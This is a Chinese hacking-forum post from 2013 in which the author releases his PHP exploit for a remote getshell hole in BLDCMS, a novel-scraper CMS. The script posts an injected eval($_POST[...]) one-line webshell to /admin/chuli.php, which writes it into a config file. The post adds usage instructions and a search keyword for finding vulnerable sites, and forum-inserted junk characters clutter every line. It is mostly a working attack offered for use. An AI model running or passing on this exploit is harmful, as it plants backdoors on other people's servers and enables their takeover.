之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
+ `/ _7 ^9 I2 e' Q! O A2 Q9 u5 j" L4 G
0 _4 m/ Z* D3 Y* J% a
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
& T6 m( n t- b, F. ^ 6 w X5 m6 S+ V0 H8 l' m
既然都有人发了 我就把我之前写好的EXP放出来吧2 s' b# X0 y" G6 U v' `
' m" ]) r! m5 q2 A4 \
view source print?01.php;">
+ M$ o& h) M( u* b2 D& r02.<!--?php
, o8 N* S: h _. O4 l03.echo "-------------------------------------------------------------------
5 l0 ?3 a# D9 y+ z04.
! s" M n, v6 k1 ^05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
3 u2 w; W3 Z% q% @06.
; N. w! k, s+ {7 @# a6 C07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun" s' ^9 M3 R# E2 V c
08.
6 e. K, d# ]4 S' o: c1 b09.QQ:981009941\r\n 2013.3.21\r\n
1 O3 ~& v, {2 h( p$ o6 [% P10.
1 H1 g5 |9 q8 \8 [* p: b+ S11. & ~4 _+ Z$ i4 U* d0 n( f- M
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
; Y; Z1 ]/ ^- g3 D% Y' L: I' ~, u7 ^" ]13. 1 B, N+ ]4 s& T1 _6 t/ R
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------, f2 K, {7 K& h8 Q7 b
15.
6 A) C: H' e" T0 z) K16.--------------------------------------------------------------------\r\n";
5 o6 ~- c' }- i, [* @2 Q17.$url=$argv[1];
+ B- w2 k' i' D18.$dir=$argv[2];7 `; t2 z! T! L4 Q3 @( |# ^1 P
19.$pass=$argv[3];$ w) T: n) k) K7 }
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';2 _) ]) W* l7 p; H. {
21.if (emptyempty($pass)||emptyempty($url))
4 o/ j% \7 u9 Y4 R4 h# r22.{exit("请输入参数");}
1 ~1 `7 B) ]9 x5 _+ a& H/ z23.else
7 \6 [9 W. G* U6 G2 M9 Y" E+ m2 b! Z24.{% X$ T1 [ h& p* j$ v) u
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
* _ @7 x) J+ K' S ]9 p8 \26.
7 Y7 u8 y6 |5 k5 R3 X27.al;2 Y* T% W; z4 s+ ~1 g% d$ F! p
28.$length = strlen($fuckdata);" g0 I. w6 |3 o: V
29.function getshell($url,$pass)% d- H6 ] V' C$ K# H1 ?
30.{
7 h& R" |/ w! @/ p) ^) x9 Q+ l31.global $url,$dir,$pass,$eval,$length,$fuckdata;: s8 p& W4 [) z" q- p1 L2 z, `0 B0 {
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
3 v6 s% P5 @/ {4 V33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";6 A k8 |) X% {% Q5 B
34.$header .= "User-Agent: MSIE\r\n";
4 D, B" O. F/ z+ P35.$header .= "Host:".$url."\r\n";& T) D* m5 j/ x/ V4 H) V; F
36.$header .= "Content-Length: ".$length."\r\n";
8 ^/ o3 P" i i3 O4 m8 f7 Z37.$header .= "Connection: Close\r\n";9 C& ?! t0 W' Z' v
38.$header .="\r\n";' l- D: T W' t: S* s7 L
39.$header .= $fuckdata."\r\n\r\n";
J% R! {$ a c- e7 i! Q- K# }/ Q40.$fp = fsockopen($url, 80,$errno,$errstr,15);' ^4 p2 b% [2 t! s9 \6 L
41.if (!$fp)
8 E/ g! z) D' q6 X/ t42.{4 q9 ]- t8 ^) J$ ?* t
43.exit ("利用失败:请检查指定目标是否能正常打开");
& ?0 S6 J' I: x6 ?6 P$ x44.}. B' }2 D9 \6 v$ j
45.else{ if (!fputs($fp,$header))1 j1 E T% T4 \7 l, P" y" T* a
46.{exit ("利用失败");}
0 l6 x* R7 C. V8 l2 }6 N0 U47.else
1 e7 T! B9 Y9 y/ R8 i: _. `48.{- {/ G: `- l% R- O; p# S" M" E
49.$receive = '';
- P: K. d( i6 w' W50.while (!feof($fp)) {8 ?- D' }8 ?( N' }
51.$receive .= @fgets($fp, 1000);
! F8 T, u" h+ n3 E% \52.}9 B2 o8 B2 O4 z1 n; ]! Q. P* d
53.@fclose($fp);# g: ^ M, t9 j7 f
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标0 f& C* i L2 j7 i1 j& t
55. 9 ?( p3 H" u* |$ ~
56.GPC是否=off)";
6 `- ]4 d8 _# H' a, C9 M57.}}
- c- C6 A$ v! E; a- Q+ P" b58.}+ l: ]9 d# \& U) f5 l
59.}
0 M4 n% v4 f. k60.getshell($url,$pass);
1 u5 G/ j# x* B2 L( T) q61.?-->
" `! @ E" c" w, V
8 R9 P6 @8 h( _: y8 G- r7 l. \: Y7 Z3 Q1 Z% O# N
" r* c+ \ W% c e* N* O; xby 数据流) C& r* a8 _# A5 |
|